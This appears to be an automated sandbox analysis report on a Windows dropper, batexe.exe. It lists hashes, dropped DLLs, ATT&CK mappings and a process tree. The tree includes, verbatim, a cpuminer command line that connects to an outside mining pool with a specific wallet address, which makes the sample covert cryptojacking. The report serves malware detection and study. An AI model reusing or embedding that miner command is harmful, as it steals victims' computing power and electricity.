73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
293s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14-02-2024 10:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2704	b2e.exe
4468	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4468	cpuminer-sse2.exe
4468	cpuminer-sse2.exe
4468	cpuminer-sse2.exe
4468	cpuminer-sse2.exe
4468	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5032-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5032 wrote to memory of 2704	5032	batexe.exe	75
PID 5032 wrote to memory of 2704	5032	batexe.exe	75
PID 5032 wrote to memory of 2704	5032	batexe.exe	75
PID 2704 wrote to memory of 2836	2704	b2e.exe	76
PID 2704 wrote to memory of 2836	2704	b2e.exe	76
PID 2704 wrote to memory of 2836	2704	b2e.exe	76
PID 2836 wrote to memory of 4468	2836	cmd.exe	79
PID 2836 wrote to memory of 4468	2836	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5032
- C:\Users\Admin\AppData\Local\Temp\9829.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9829.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9829.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\99EE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\9829.tmp\b2e.exe

Filesize
13.6MB

MD5
2d3b5e5c5cfbbf96f89201f33017d543

SHA1
b60fc1d9e425e920da57e6bfa379681bb0c9c4e0

SHA256
14e83aa89630b8af8dbb35a6d5f38f0ad5b558d12b596cf3281cf4e3031e14ea

SHA512
d4eacba8e40176116b0d2e81ffbd74c53a6256b66e43a791010a0e096ae057f54683783818e26cbf9251263a644a12636253ce28308b3e120432a33008893c50

Download Submit
C:\Users\Admin\AppData\Local\Temp\9829.tmp\b2e.exe

Filesize
14.6MB

MD5
555e976410a7a431f4777db79c78f46a

SHA1
07b6d6d252adbc37056030cc983812898842cdf9

SHA256
b630d9360e382f79dc98cda7e19c778871a588faa6fe476da43c9242bed60a95

SHA512
6801a751cc245449241a823edceb915252cdfbedaee3a0fc91459e67824ccbad0399812acfa75e0271b3c92c76efcde3d3f89c88cc3e36d8cb1488e33af309d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\99EE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.9MB

MD5
b6719ae4f0b25e45ddd117f536015f7a

SHA1
030b864cabcd7b9e90cfc41b459be663e3f50fea

SHA256
57c8763c3b13dc78caf418940c421b5c83b1b42d3329ed0adb72ebf528236317

SHA512
6801b959db47c14c2aeba7bd6effb69a15881ec20d11512c01e7687fde7138a9c0242dc728ea1a8eecbb6c4420ecb25a0100773c71b36096ebee12ae59fdfdc3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.1MB

MD5
1c87f99e543fe471e665f00f76daaf3b

SHA1
ab9dea52b32ed3bc42cc10dc13eedbfa57cbf469

SHA256
9289ba40d4532346bc00b7f317155203732032d072fe8d3d1bd34e742053f97a

SHA512
eb877fb23c7754c96bfd74b0a8872f8f0835349da9691d7cf4dcab9d99008780feac1a6995d59700deb57974d1a716a0156dd6a825c7d7183617199e60433c31

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.7MB

MD5
ef1c671a0b4ef3729ff42c88ce7400b2

SHA1
39ec114d8839aa7a7089633d580a546277203767

SHA256
67f290d0a09237c30620356f4a0cf740aae51be1fbefd5c53ed2a4342b3586a5

SHA512
b82041bbc7e14ddee843d41080124559027fb8539fab7b9cb33dee10e2fd17c48a779b12bc150e94f7b76ec8d8ede168108d1663f83e243f06f73081ba249f15

Download Submit
memory/2704-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2704-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4468-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-43-0x000000005F5C0000-0x000000005F658000-memory.dmp

Filesize
608KB

Download
memory/4468-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4468-44-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/4468-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4468-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4468-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5032-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download